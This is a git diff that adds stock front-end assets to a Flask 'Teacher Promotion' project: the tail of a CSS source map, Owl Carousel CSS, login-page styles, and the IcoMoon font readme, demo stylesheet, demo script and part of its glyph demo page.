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"} \ No newline at end of file diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/css/owl.carousel.min.css b/FLASK PROJECTS/Teacher Promotion Flask API/static/css/owl.carousel.min.css new file mode 100644 index 00000000..a71df11c --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/css/owl.carousel.min.css @@ -0,0 +1,6 @@ +/** + * Owl Carousel v2.3.4 + * Copyright 2013-2018 David Deutsch + * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE + */ +.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.owl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!important;font:inherit}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:pan-y;touch-action:pan-y;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item .owl-lazy:not([src]),.owl-carousel .owl-item .owl-lazy[src^=""]{max-height:0}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-play-icon,.owl-carousel .owl-video-playing .owl-video-tn{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%} \ No newline at end of file diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/css/style.css b/FLASK PROJECTS/Teacher Promotion Flask API/static/css/style.css new file mode 100644 index 00000000..5debc5f5 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/css/style.css @@ -0,0 +1,149 @@ +body { + font-family: "Roboto", sans-serif; + background-color: #fff; } + +p { + color: #b3b3b3; + font-weight: 300; } + +h1, h2, h3, h4, h5, h6, +.h1, .h2, .h3, .h4, .h5, .h6 { + font-family: "Roboto", sans-serif; } + +a { + -webkit-transition: .3s all ease; + -o-transition: .3s all ease; + transition: .3s all ease; } + a:hover { + text-decoration: none !important; } + +.content { + padding: 7rem 0; } + +h2 { + font-size: 20px; } + +.half, .half .container > .row { + height: 100vh; + min-height: 900px; } + +@media (max-width: 991.98px) { + .half .bg { + height: 200px; } } + +.half .contents { + background: #f6f7fc; } + +.half .contents { + width: 80%; } + +.half .bg { + width: 20%; } + +@media (max-width: 991.98px) { + .half .contents, .half .bg { + width: 100%; } } + +.half .contents .form-control, .half .bg .form-control { + border: none; + -webkit-box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.1); + box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.1); + border-radius: 4px; + height: 54px; + background: #fff; } + .half .contents .form-control:active, .half .contents .form-control:focus, .half .bg .form-control:active, .half .bg .form-control:focus { + outline: none; + -webkit-box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.1); + box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.1); } + +.half .bg { + background-size: cover; + background-position: center; } + +.half a { + color: #888; + text-decoration: underline; } + +.half .btn { + height: 54px; + padding-left: 30px; + padding-right: 30px; } + +.half .forgot-pass { + position: relative; + top: 2px; + font-size: 14px; } + +.control { + display: block; + position: relative; + padding-left: 30px; + margin-bottom: 15px; + cursor: pointer; + font-size: 14px; } + .control .caption { + position: relative; + top: .2rem; + color: #888; } + +.control input { + position: absolute; + z-index: -1; + opacity: 0; } + +.control__indicator { + position: absolute; + top: 2px; + left: 0; + height: 20px; + width: 20px; + background: #e6e6e6; + border-radius: 4px; } + +.control--radio .control__indicator { + border-radius: 50%; } + +.control:hover input ~ .control__indicator, +.control input:focus ~ .control__indicator { + background: #ccc; } + +.control input:checked ~ .control__indicator { + background: #fb771a; } + +.control:hover input:not([disabled]):checked ~ .control__indicator, +.control input:checked:focus ~ .control__indicator { + background: #fb8633; } + +.control input:disabled ~ .control__indicator { + background: #e6e6e6; + opacity: 0.9; + pointer-events: none; } + +.control__indicator:after { + font-family: 'icomoon'; + content: '\e5ca'; + position: absolute; + display: none; + font-size: 16px; + -webkit-transition: .3s all ease; + -o-transition: .3s all ease; + transition: .3s all ease; } + +.control input:checked ~ .control__indicator:after { + display: block; + color: #fff; } + +.control--checkbox .control__indicator:after { + top: 50%; + left: 50%; + margin-top: -1px; + -webkit-transform: translate(-50%, -50%); + -ms-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); } + +.control--checkbox input:disabled ~ .control__indicator:after { + border-color: #7b7b7b; } + +.control--checkbox input:disabled:checked ~ .control__indicator { + background-color: #7e0cf5; + opacity: .2; } diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/.DS_Store b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/.DS_Store new file mode 100644 index 00000000..f6d00f4c Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/.DS_Store differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/Read Me.txt b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/Read Me.txt new file mode 100644 index 00000000..8491652f --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/Read Me.txt @@ -0,0 +1,7 @@ +Open *demo.html* to see a list of all the glyphs in your font along with their codes/ligatures. + +To use the generated font in desktop programs, you can install the TTF font. In order to copy the character associated with each icon, refer to the text box at the bottom right corner of each glyph in demo.html. The character inside this text box may be invisible; but it can still be copied. See this guide for more info: https://icomoon.io/#docs/local-fonts + +You won't need any of the files located under the *demo-files* directory when including the generated font in your own projects. + +You can import *selection.json* back to the IcoMoon app using the *Import Icons* button (or via Main Menu → Manage Projects) to retrieve your icon selection. diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/demo-files/demo.css b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/demo-files/demo.css new file mode 100644 index 00000000..976bde37 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/demo-files/demo.css @@ -0,0 +1,155 @@ +body { + padding: 0; + margin: 0; + font-family: sans-serif; + font-size: 1em; + line-height: 1.5; + color: #555; + background: #fff; +} +h1 { + font-size: 1.5em; + font-weight: normal; +} +small { + font-size: .66666667em; +} +a { + color: #e74c3c; + text-decoration: none; +} +a:hover, a:focus { + box-shadow: 0 1px #e74c3c; +} +.bshadow0, input { + box-shadow: inset 0 -2px #e7e7e7; +} +input:hover { + box-shadow: inset 0 -2px #ccc; +} +input, fieldset { + font-family: sans-serif; + font-size: 1em; + margin: 0; + padding: 0; + border: 0; +} +input { + color: inherit; + line-height: 1.5; + height: 1.5em; + padding: .25em 0; +} +input:focus { + outline: none; + box-shadow: inset 0 -2px #449fdb; +} +.glyph { + font-size: 16px; + width: 15em; + padding-bottom: 1em; + margin-right: 4em; + margin-bottom: 1em; + float: left; + overflow: hidden; +} +.liga { + width: 80%; + width: calc(100% - 2.5em); +} +.talign-right { + text-align: right; +} +.talign-center { + text-align: center; +} +.bgc1 { + background: #f1f1f1; +} +.fgc1 { + color: #999; +} +.fgc0 { + color: #000; +} +p { + margin-top: 1em; + margin-bottom: 1em; +} +.mvm { + margin-top: .75em; + margin-bottom: .75em; +} +.mtn { + margin-top: 0; +} +.mtl, .mal { + margin-top: 1.5em; +} +.mbl, .mal { + margin-bottom: 1.5em; +} +.mal, .mhl { + margin-left: 1.5em; + margin-right: 1.5em; +} +.mhmm { + margin-left: 1em; + margin-right: 1em; +} +.mls { + margin-left: .25em; +} +.ptl { + padding-top: 1.5em; +} +.pbs, .pvs { + padding-bottom: .25em; +} +.pvs, .pts { + padding-top: .25em; +} +.unit { + float: left; +} +.unitRight { + float: right; +} +.size1of2 { + width: 50%; +} +.size1of1 { + width: 100%; +} +.clearfix:before, .clearfix:after { + content: " "; + display: table; +} +.clearfix:after { + clear: both; +} +.hidden-true { + display: none; +} +.textbox0 { + width: 3em; + background: #f1f1f1; + padding: .25em .5em; + line-height: 1.5; + height: 1.5em; +} +#testDrive { + display: block; + padding-top: 24px; + line-height: 1.5; +} +.fs0 { + font-size: 16px; +} +.fs1 { + font-size: 28px; +} +.fs2 { + font-size: 24px; +} + diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/demo-files/demo.js b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/demo-files/demo.js new file mode 100644 index 00000000..6f45f1c4 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/demo-files/demo.js @@ -0,0 +1,30 @@ +if (!('boxShadow' in document.body.style)) { + document.body.setAttribute('class', 'noBoxShadow'); +} + +document.body.addEventListener("click", function(e) { + var target = e.target; + if (target.tagName === "INPUT" && + target.getAttribute('class').indexOf('liga') === -1) { + target.select(); + } +}); + +(function() { + var fontSize = document.getElementById('fontSize'), + testDrive = document.getElementById('testDrive'), + testText = document.getElementById('testText'); + function updateTest() { + testDrive.innerHTML = testText.value || String.fromCharCode(160); + if (window.icomoonLiga) { + window.icomoonLiga(testDrive); + } + } + function updateSize() { + testDrive.style.fontSize = fontSize.value + 'px'; + } + fontSize.addEventListener('change', updateSize, false); + testText.addEventListener('input', updateTest, false); + testText.addEventListener('change', updateTest, false); + updateSize(); +}()); diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/demo.html b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/demo.html new file mode 100644 index 00000000..04b8e12a --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/demo.html @@ -0,0 +1,26137 @@ + + + + + IcoMoon Demo + + + + + +
+

Font Name: icomoon (Glyphs: 1520)

+
+
+

Grid Size: 14

+
+
+ + + + icon-asterisk +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-plus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-question +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-minus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-glass +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-music +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-search +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-envelope-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-heart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-star +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-star-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-user +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-film +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-th-large +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-th +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-th-list +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-check +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-close +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-remove +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-times +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-search-plus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-search-minus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-power-off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-signal +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cog +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gear +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-trash-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-home +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-clock-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-road +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-download +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-circle-o-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow-circle-o-up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-inbox +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-play-circle-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-repeat +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rotate-right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-refresh +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-list-alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-lock +
+
+ + +
+
+ liga: + +
+
+
+
